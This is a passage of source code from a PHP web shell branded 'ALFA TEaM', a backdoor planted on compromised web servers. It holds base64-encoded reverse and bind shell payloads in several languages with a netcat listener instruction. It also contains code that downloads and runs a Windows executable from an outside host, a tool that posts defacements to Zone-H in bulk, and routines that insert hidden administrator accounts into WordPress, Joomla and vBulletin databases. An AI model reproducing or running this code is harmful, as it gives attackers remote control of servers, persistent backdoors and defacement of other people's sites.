  4091. if(__write_file($path, $evalCode)){
  4092. $cmd = "javac ".$evalOptions.$path;
  4093. alfaEx($cmd);
  4094. $pathres = $filename.".class";
  4095. if(is_file($pathres)){
  4096. if(chmod($pathres, 0755)){
  4097. $cmd = "java ".$filename.$evalArguments;
  4098. alfaEx($cmd);
  4099. }else{$res = $err;}
  4100. unlink($pathres);
  4101. }else{$res = $err;}
  4102. unlink($path);
  4103. }else{$res = $err;}
  4104. }
  4105. return $res;
  4106. }
  4107. return false;
  4108. }
  4109. function alfaconnect(){
  4110. alfahead();
  4111. $php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
  4112. $python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
  4113. $perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
  4114. $ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
  4115. $node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
  4116. $c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
  4117. $java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
  4118. echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
  4119. echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">
  4120. <div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
  4121. $cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");
  4122. foreach($cbArr as $key=>$val){echo("<option value='{$key}' ".($GLOBALS['sys']=='win'?'selected':'').">{$val}</option>");}
  4123. echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <input type='text' style='text-align:center;' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
  4124. if(isset($_POST['alfa1'])&&!empty($_POST['alfa1'])){
  4125. $lang = $_POST['alfa1'];
  4126. $ip = $_POST['alfa2'];
  4127. $port = $_POST['alfa3'];
  4128. $arg =($_POST['alfa4']=='bind'?$port:$port.''.$ip);
  4129. $tmpdir = ALFA_TEMPDIR;
  4130. $name = $tmpdir.'/'.$lang.uniqid().rand(1,99999);
  4131. $allow = array('perl','ruby','python','node');
  4132. eval('$lan=$'.$lang.';');
  4133. if(in_array($lang,$allow)){
  4134. if(__write_file($name,__get_resource($lan))){
  4135. if(_alfa_can_runCommand(true,true)){
  4136. $os = ($GLOBALS['sys']!='win')?'1>/dev/null 2>&1 &':'';
  4137. $out = alfaEx("$lang $name $arg $os");
  4138. if($out==''){$out="<font color='green'><center>[ Finished...! ]</center></font>";}
  4139. echo("<pre class='ml1' style='margin-top:5px'>{$out}</pre>");
  4140. }
  4141. }else{
  4142. echo("<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>");
  4143. }
  4144. }
  4145. if($lang=='java'||$lang=='c'){
  4146. $code = __get_resource($lan);
  4147. $out = nl2br(bcinit($lang, $code,'',''));
  4148. echo("<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>");
  4149. }
  4150. if($lang=='bcwin'){
  4151. $alfa = new AlfaCURL();
  4152. $s = $alfa->Send('http://solevisible.com/bc/windows.exe');
  4153. $tmpdir = ALFA_TEMPDIR;
  4154. $f = @fopen($tmpdir.'/bcwin.exe','w+');
  4155. @fwrite($f, $s);
  4156. @fclose($f);
  4157. $out = alfaEx($tmpdir."/bcwin.exe ".$_POST['alfa2']." ".$_POST['alfa3']);
  4158. }
  4159. if($lang=='php'){
  4160. echo "<pre class=ml1 style='margin-top:5px'>";
  4161. $code = __get_resource($lan);
  4162. if($code!==false){
  4163. $code = "\$target = \"".$arg."\";\n".$code;
  4164. eval($code);
  4165. echo("<center><font color='green'>[ Finished...! ]</font></center>");
  4166. }
  4167. echo "</pre>";
  4168. }
  4169. }
  4170. echo "</div>";
  4171. alfafooter();
  4172. }
  4173. function alfazoneh(){
  4174. alfahead();
  4175. echo '<div class=header>';
  4176. if(!function_exists('curl_version')){
  4177. echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
  4178. }
  4179. $hackmode = array('known vulnerability (i.e. unpatched system)','undisclosed (new) vulnerability','configuration / admin. mistake','brute force attack','social engineering','Web Serverintrusion','Web Server external module intrusion','Mail Server intrusion','FTP Server intrusion','SSH Server intrusion','Telnet Server intrusion','RPC Server intrusion','Shares misconfiguration','Other Server intrusion','SQL Injection','URL Poisoning','File Inclusion','Other Web Application bug','Remote administrative panel access bruteforcing','Remote administrative panel access password guessing','Remote administrative panel access social engineering','Attack against administrator(password stealing/sniffing)','Access credentials through Man In the Middle attack','Remote service password guessing','Remote service password bruteforce','Rerouting after attacking the Firewall','Rerouting after attacking the Router','DNS attack through social engineering','DNS attack through cache poisoning','Not available','Cross-Site Scripting');
  4180. $reason = array('Heh...just for fun!','Revenge against that website','Political reasons','As a challenge','I just want to be the best defacer','Patriotism','Not available');
  4181. echo '
  4182. <center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>
  4183. <form action="" method="post" onsubmit="g(\'zoneh\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\'>>\'); return false;">
  4184. <input type="text" name="defacer" size="67" id="text" placeholder="ALFA TEaM 2012" />
  4185. <br>
  4186. <select id="text" name="hackmode" style="width:400px;">';
  4187. $x=1;
  4188. foreach($hackmode as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
  4189. echo '</select><br><select id="text" name="reason" style="width:200px;">';
  4190. $x=1;
  4191. foreach($reason as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
  4192. echo '</select><br>
  4193. <textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>
  4194. <p><input type="submit" value=" " name="go" /></p>
  4195. </form></center>';
  4196. if($_POST['alfa5'] && $_POST['alfa5'] == '>>'){
  4197. ob_start();
  4198. $hacker = $_POST['alfa1'];
  4199. $method = $_POST['alfa2'];
  4200. $neden = $_POST['alfa3'];
  4201. $site = $_POST['alfa4'];
  4202. if(empty($hacker)){
  4203. die (__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
  4204. }elseif($method == "------------------------------------SELECT-------------------------------------"){
  4205. die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
  4206. }elseif($neden == "------------------------------------SELECT-------------------------------------"){
  4207. die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
  4208. }elseif(empty($site)){
  4209. die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
  4210. }
  4211. $i = 0;
  4212. $sites = explode("\n", $site);
  4213. $alfa = new AlfaCURL();
  4214. while($i < count($sites)){
  4215. if(substr($sites[$i], 0, 4) != "http"){
  4216. $sites[$i] = "http://".$sites[$i];
  4217. }
  4218. $alfa->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden);
  4219. ++$i;
  4220. }
  4221. echo __pre()."<center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
  4222. }
  4223. echo "</div>";
  4224. alfafooter();
  4225. }
  4226. function alfapwchanger(){
  4227. alfahead();
  4229. echo '<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>
  4230. <center><h3>';
  4231. $vals = array('WordPress' => array('wp',2),'Joomla' => array('joomla',3),'vBulletin' => array('vb',5),'phpBB' => array('phpbb',6),'WHMCS' => array('whmcs',7),'MyBB' => array('mybb',8),'Php Nuke' => array('nuke',9),'Drupal' => array('drupal',10),'SMF' => array('smf',11));
  4232. Alfa_Create_A_Tag('pwchanger',$vals);
  4233. echo '</h3></center>';
  4234. if(isset($_POST['alfa1'])&&$_POST['alfa1']=='wp'){
  4236. echo __pre().'<center><center><div class="txtfont_header">| WordPress |</div>
  4237. <p>'.getConfigHtml('wp').'</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
  4238. $table = array('td1' =>
  4239. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host','id'=>'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4240. 'td2' =>
  4241. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4242. 'td3' =>
  4243. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4244. 'td4' =>
  4245. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4246. 'td5' =>
  4247. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'),
  4248. 'td6' =>
  4249. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4250. 'td7' =>
  4251. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4252. 'td8' =>
  4253. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  4254. );
  4255. create_table($table);
  4256. echo '<p><input value=" " name="send" type="submit"></p></form>';
  4257. if ($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
  4258. $localhost = $_POST['alfa3'];
  4259. $database = $_POST['alfa4'];
  4260. $username = $_POST['alfa5'];
  4261. $password = $_POST['alfa6'];
  4262. $admin = $_POST['alfa8'];
  4263. $SQL = $_POST['alfa9'];
  4264. $prefix = $_POST['alfa10'];
  4265. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4266. $solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysqli_error($conn));
  4267. $solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login='".$admin."'") or die(mysqli_error($conn));
  4268. $sole = @mysqli_num_rows($solevisible);
  4269. if ($sole == 1){
  4270. $solevis = @mysqli_fetch_assoc($solevisible);$res= $solevis['ID'];
  4271. }
  4272. $solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','first_name','solevisible'),(null,'".$res."','last_name','solevisible'),(null,'".$res."','nickname','solevisible'),(null,'".$res."','description','solevisible'),(null,'".$res."','rich_editing','true'),(null,'".$res."','comment_shortcuts','false'),(null,'".$res."','admin_color','fresh'),(null,'".$res."','use_ssl','0'),(null,'".$res."','show_admin_bar_front','true'),(null,'".$res."','".$prefix."capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'".$res."','".$prefix."user_level','10'),(null,'".$res."','show_welcome_panel','1'),(null,'".$res."','".$prefix."dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
  4273. if($solevisible){
  4274. __alert('Success... '.$admin.' is created...');}
  4275. }
  4276. }
  4277. if($_POST['alfa2'] && $_POST['alfa2'] == 'joomla'){
  4279. echo __pre().'<center><center><div class="txtfont_header">| Joomla |</div><p><p>'.getConfigHtml('joomla').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
  4280. $table = array('td1' =>
  4281. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4282. 'td2' =>
  4283. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4284. 'td3' =>
  4285. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4286. 'td4' =>
  4287. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4288. 'td5' =>
  4289. array('color' => 'FFFFFF', 'tdName'=> 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'),
  4290. 'td6' =>
  4291. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4292. 'td7' =>
  4293. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4294. 'td8' =>
  4295. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  4296. );
  4297. create_table($table);
  4298. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4299. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4300. $localhost = $_POST['alfa3'];
  4301. $database = $_POST['alfa4'];
  4302. $username = $_POST['alfa5'];
  4303. $password = $_POST['alfa6'];
  4304. $admin = $_POST['alfa8'];
  4305. $SQL = $_POST['alfa9'];
  4306. $prefix = $_POST['alfa10'];
  4307. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4308. $solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,'Super User','".$admin."','".$SQL."','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
  4309. $solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username='".$admin."'") or die(mysqli_error($conn));
  4310. $sole =@mysqli_num_rows($solevisible);
  4311. if ($sole == 1){
  4312. $solevis =@mysqli_fetch_assoc($solevisible);
  4313. $res = $solevis['id'];
  4314. }
  4315. $solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES ('".$res."', '8')") or die(mysqli_error($conn));
  4316. if($solevisible){
  4317. __alert('Success... '.$admin.' is created...');}
  4318. }
  4319. }
  4320. if($_POST['alfa4'] && $_POST['alfa4'] == 'vb'){
  4322. echo __pre().'<center><center><div class="txtfont_header">| vBulletin |<div><p>'.getConfigHtml('vb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
  4323. $table = array('td1' =>
  4324. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4325. 'td2' =>
  4326. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize'=> '50'),
  4327. 'td3' =>
  4328. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4329. 'td4' =>
  4330. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4331. 'td5' =>
  4332. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
  4333. 'td6' =>
  4334. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4335. 'td7' =>
  4336. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4337. 'td8' =>
  4338. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  4339. );
  4340. create_table($table);
  4341. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4342. if($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4343. $localhost = $_POST['alfa2'];
  4344. $database = $_POST['alfa3'];
  4345. $username = $_POST['alfa5'];
  4346. $password = $_POST['alfa6'];
  4347. $prefix = $_POST['alfa7'];
  4348. $admin = $_POST['alfa8'];
  4349. $SQL = $_POST['alfa9'];
  4350. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4351. $solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL','".date('Y-m-d')."','".time()."')") or die(mysqli_error($conn));
  4352. $solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username='".$admin."'") or die(mysqli_error($conn));
  4353. $sole = mysqli_num_rows($solevisible);
  4354. if($sole == 1){
  4355. $solevis = mysqli_fetch_assoc($solevisible);
  4356. $res = $solevis['userid'];
  4357. }
  4358. $solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values('".$res."','16744444')") or die(mysqli_error($conn));
  4359. if($solevisible){
  4360. __alert('Success... '.$admin.' is created...');}
  4361. }
  4362. }
  4363. if(isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb'){
  4365. echo __pre().'<center><div class="txtfont_header">| phpBB |</div><p><p>'.getConfigHtml('phpbb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
  4366. $table = array('td1' =>
  4367. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4368. 'td2' =>
  4369. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4370. 'td3' =>
